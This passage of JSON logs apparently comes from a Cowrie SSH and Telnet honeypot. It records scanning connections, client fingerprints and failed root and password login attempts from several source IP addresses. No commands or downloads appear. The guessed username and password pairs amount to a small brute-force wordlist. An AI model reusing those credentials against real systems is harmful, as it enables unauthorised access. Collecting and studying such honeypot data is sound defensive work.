-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:11:00.284906Z","src_ip":"80.94.92.184","session":"d5d652d0d930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv123","message":"login attempt [solv/solv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:11:01.788219Z","src_ip":"80.94.92.184","session":"d5d652d0d930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:11:03.053190Z","src_ip":"80.94.92.184","session":"d5d652d0d930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":53458,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6e1e996f85a","protocol":"ssh","message":"New connection: 103.149.28.157:53458 (10.17.0.5:22) [session: b6e1e996f85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:11:08.461612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:11:08.465968Z","src_ip":"103.149.28.157","session":"b6e1e996f85a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:11:08.720801Z","src_ip":"103.149.28.157","session":"b6e1e996f85a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456h","message":"login attempt [root/123456h] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:11:09.488654Z","src_ip":"103.149.28.157","session":"b6e1e996f85a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:11:10.746896Z","src_ip":"103.149.28.157","session":"b6e1e996f85a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":53980,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f640d8755f5","protocol":"telnet","message":"New connection: 213.108.3.46:53980 (159.203.135.109:23) [session: 3f640d8755f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:12:10.809247Z"}
{"eventid":"cowrie.session.closed","duration":0.01768803596496582,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:12:10.826806Z","src_ip":"213.108.3.46","session":"3f640d8755f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":41398,"dst_ip":"10.17.0.5","dst_port":22,"session":"f55a2164da1d","protocol":"ssh","message":"New connection: 176.65.148.108:41398 (10.17.0.5:22) [session: f55a2164da1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:12:18.405816Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:12:18.490371Z","src_ip":"176.65.148.108","session":"f55a2164da1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":41412,"dst_ip":"10.17.0.5","dst_port":22,"session":"984bc39890c4","protocol":"ssh","message":"New connection: 176.65.148.108:41412 (10.17.0.5:22) [session: 984bc39890c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:12:18.568971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:12:18.575166Z","src_ip":"176.65.148.108","session":"984bc39890c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:12:18.658185Z","src_ip":"176.65.148.108","session":"984bc39890c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"904ab","password":"904ab","message":"login attempt [904ab/904ab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:12:18.908587Z","src_ip":"176.65.148.108","session":"984bc39890c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:12:19.994468Z","src_ip":"176.65.148.108","session":"984bc39890c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.160.5","src_port":34848,"dst_ip":"10.17.0.5","dst_port":22,"session":"953e589da82c","protocol":"ssh","message":"New connection: 148.113.160.5:34848 (10.17.0.5:22) [session: 953e589da82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.226844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.233247Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.253600Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:08:8c:5e:91:c1:d9:de:e0:0b:e0:42:69:47:1c:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcsUkCdMncNHZ9kjDz5vxRGojJjKKln+ZalpYDbir2iGDGOjgaJys/hxYnp/QgIW0hQ0Nb4IBFikRZ+BcXW0zPIzt0xIZx+uyHiVhzrHDok2+7kpTKZx5qJTbJHfQsdIl0NBxjYsnqb98ZoCbnK8mOgsZqdaiRpekIf2/kc78V1YXttrI9TuPNWxMEQNUpzGLyvnQMFMEUq0dayeZi4b7YbAlvdr8eO7m9zSSaBre9Jqkzzwg0cPTmjH2ZWc7yj8Nb1y8qx6nhb+J3RE29p0ITbEOXgr1Wu479hzr8apUD2OP+GKz/mP4qBohNMiwJrUxYLIMI+Sg9t3wzEUwnQDDR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:08:8c:5e:91:c1:d9:de:e0:0b:e0:42:69:47:1c:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.333440Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:08:8c:5e:91:c1:d9:de:e0:0b:e0:42:69:47:1c:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcsUkCdMncNHZ9kjDz5vxRGojJjKKln+ZalpYDbir2iGDGOjgaJys/hxYnp/QgIW0hQ0Nb4IBFikRZ+BcXW0zPIzt0xIZx+uyHiVhzrHDok2+7kpTKZx5qJTbJHfQsdIl0NBxjYsnqb98ZoCbnK8mOgsZqdaiRpekIf2/kc78V1YXttrI9TuPNWxMEQNUpzGLyvnQMFMEUq0dayeZi4b7YbAlvdr8eO7m9zSSaBre9Jqkzzwg0cPTmjH2ZWc7yj8Nb1y8qx6nhb+J3RE29p0ITbEOXgr1Wu479hzr8apUD2OP+GKz/mP4qBohNMiwJrUxYLIMI+Sg9t3wzEUwnQDDR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.337582Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:2b:c7:86:e4:68:b7:9d:98:5b:12:f2:03:48:b2:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrArVdv7URoe10c/JJWaA80It5aNclNwUUdySxKkx1rteMAZgb/D+lBG5RKaYPW9D4bVRSZe8Fn5KmQI6rX8XnaETks+6aqLR86Fqgov/of3v4pDHktfqWwiiVjadgH516Fx4o15STgfIBz5Rcs2a/7GCl/GI+CB8nRRrQluv/vUNETEPKJLmAQXkKdN1oxIdPimZt4nQ/Egjs3VFDHDpLPx/yzRTnYD2pB9Ltq2kykLkschtrNW2e1KAjuknWsijj/Bcf+E2Cobxx+/CKfDB0l2fa/KpW0u2yBIRcedZWcHKIp9dZ/KwNjgTaYJTIlRMdPzrnBOVh1sGRDvq1Vb5t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:2b:c7:86:e4:68:b7:9d:98:5b:12:f2:03:48:b2:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.358315Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:2b:c7:86:e4:68:b7:9d:98:5b:12:f2:03:48:b2:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrArVdv7URoe10c/JJWaA80It5aNclNwUUdySxKkx1rteMAZgb/D+lBG5RKaYPW9D4bVRSZe8Fn5KmQI6rX8XnaETks+6aqLR86Fqgov/of3v4pDHktfqWwiiVjadgH516Fx4o15STgfIBz5Rcs2a/7GCl/GI+CB8nRRrQluv/vUNETEPKJLmAQXkKdN1oxIdPimZt4nQ/Egjs3VFDHDpLPx/yzRTnYD2pB9Ltq2kykLkschtrNW2e1KAjuknWsijj/Bcf+E2Cobxx+/CKfDB0l2fa/KpW0u2yBIRcedZWcHKIp9dZ/KwNjgTaYJTIlRMdPzrnBOVh1sGRDvq1Vb5t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.362144Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:37:f5:02:9f:45:f9:f6:17:6e:c6:6f:d1:7f:a9:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzz7TPdTRkJAQrzeI/qYnCo6yhOKTQyHdaCOi43H09Vu3UFIuBwiVaMAXxY7myYHURtQAx2h5UIp0MXgOKIZkoAYb0gG3bSU+6jQ96senkJxfpnip3f4ONu4VRQ/hk8B8Mfb7WaRPMCwGuFwpTTIYOXKvPENl9vfHeUA0DF0avhuX5WukHpT0VsSaSTNMGer1FqbI78hp3LuoQZuWPQJMedWunZTt69PJdBCAcE+AflDpmI1nSPH7cyg5iQjqyJCFNKOxu08UQcOHH1TUG28icHPy+65LYSZtTeLIsxbErcOeHBDI/vIq532Xs0k/YDEvRAit/EiXhqOA+ofqpv8rL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:37:f5:02:9f:45:f9:f6:17:6e:c6:6f:d1:7f:a9:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.383909Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:37:f5:02:9f:45:f9:f6:17:6e:c6:6f:d1:7f:a9:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzz7TPdTRkJAQrzeI/qYnCo6yhOKTQyHdaCOi43H09Vu3UFIuBwiVaMAXxY7myYHURtQAx2h5UIp0MXgOKIZkoAYb0gG3bSU+6jQ96senkJxfpnip3f4ONu4VRQ/hk8B8Mfb7WaRPMCwGuFwpTTIYOXKvPENl9vfHeUA0DF0avhuX5WukHpT0VsSaSTNMGer1FqbI78hp3LuoQZuWPQJMedWunZTt69PJdBCAcE+AflDpmI1nSPH7cyg5iQjqyJCFNKOxu08UQcOHH1TUG28icHPy+65LYSZtTeLIsxbErcOeHBDI/vIq532Xs0k/YDEvRAit/EiXhqOA+ofqpv8rL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.387307Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:f4:a1:22:06:6b:b6:46:fd:57:07:b0:ed:1e:32:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC18/egLqVcvrxd9NMv44pS+i/CYW5/n4Fuy0qhNe8NQzgQCVqXtFMUqcN4v4qDkss5Hp9Wl2xzMLIle+OGVMUSvsNj89DHvwpbmZd5qBTbO/PkHPECMvcfNcrPq4h+/ixJKpMA0GpqMeLBaiIcCJ37uCBBvAt8sXpMrgZYorOu3mrZvepsmGYBNKFcDtbsakBQTtTUkGzTy5Wq0T3ARDDO1/zgfGvXr+QuO8Jlaw2l20V4nHg6gMASsplsVUuUiSgLyCbCFMweJauwA0mxwX0ufjKS5IaSq6xXlR53+XU9qzplgz3ZejHnU95sR6EvWBo7y6C2VltTWcHaSKP+zOD/EhL7RHwiEiDm/swfUjJhhqZFbOOo3rMKfK6zjBqoyXzV+GfwgRFy7txIm3WTOjusNVhCH9Y4WspL7ijg7RRyv5RdKyCkSH/NvoPqlBkjJV9UOxkQlx84/2IJE/3xFy0p8mqhuV6uJ6MoNV+R8qouW3oGi1+8+75MbEaM0VxEuRU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:f4:a1:22:06:6b:b6:46:fd:57:07:b0:ed:1e:32:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.407317Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:f4:a1:22:06:6b:b6:46:fd:57:07:b0:ed:1e:32:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC18/egLqVcvrxd9NMv44pS+i/CYW5/n4Fuy0qhNe8NQzgQCVqXtFMUqcN4v4qDkss5Hp9Wl2xzMLIle+OGVMUSvsNj89DHvwpbmZd5qBTbO/PkHPECMvcfNcrPq4h+/ixJKpMA0GpqMeLBaiIcCJ37uCBBvAt8sXpMrgZYorOu3mrZvepsmGYBNKFcDtbsakBQTtTUkGzTy5Wq0T3ARDDO1/zgfGvXr+QuO8Jlaw2l20V4nHg6gMASsplsVUuUiSgLyCbCFMweJauwA0mxwX0ufjKS5IaSq6xXlR53+XU9qzplgz3ZejHnU95sR6EvWBo7y6C2VltTWcHaSKP+zOD/EhL7RHwiEiDm/swfUjJhhqZFbOOo3rMKfK6zjBqoyXzV+GfwgRFy7txIm3WTOjusNVhCH9Y4WspL7ijg7RRyv5RdKyCkSH/NvoPqlBkjJV9UOxkQlx84/2IJE/3xFy0p8mqhuV6uJ6MoNV+R8qouW3oGi1+8+75MbEaM0VxEuRU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.411203Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:63:c0:bd:6b:cb:c5:87:c7:a1:03:11:5f:4a:c2:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyHeSxRaxzb/WWrpx0aAldYbS76U6lQmutb7grjLTtSwVknSW5WlEEoNyBF51fkPJeK/akZenFddYVuPmRoo52UW6jlAF3XLBfKtxBGdKz/UhUtwtxPFHPydWc3MXRXXj9337BCCNOnDES3fY75Lqnow1OAhDYwkdfSS14lD3h0c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:63:c0:bd:6b:cb:c5:87:c7:a1:03:11:5f:4a:c2:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.433462Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:63:c0:bd:6b:cb:c5:87:c7:a1:03:11:5f:4a:c2:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyHeSxRaxzb/WWrpx0aAldYbS76U6lQmutb7grjLTtSwVknSW5WlEEoNyBF51fkPJeK/akZenFddYVuPmRoo52UW6jlAF3XLBfKtxBGdKz/UhUtwtxPFHPydWc3MXRXXj9337BCCNOnDES3fY75Lqnow1OAhDYwkdfSS14lD3h0c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.437189Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:04.458341Z","src_ip":"148.113.160.5","session":"953e589da82c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":64068,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bbfab5fc3c2","protocol":"ssh","message":"New connection: 194.59.206.2:64068 (10.17.0.5:22) [session: 5bbfab5fc3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:24.170548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:24.175850Z","src_ip":"194.59.206.2","session":"5bbfab5fc3c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:24.266374Z","src_ip":"194.59.206.2","session":"5bbfab5fc3c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:13:24.361291Z","src_ip":"194.59.206.2","session":"5bbfab5fc3c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33960,"dst_ip":"10.17.0.5","dst_port":22,"session":"6681b4281b4e","protocol":"ssh","message":"New connection: 80.94.92.184:33960 (10.17.0.5:22) [session: 6681b4281b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:03.315201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:03.735447Z","src_ip":"80.94.92.184","session":"6681b4281b4e","protocol":"ssh"}
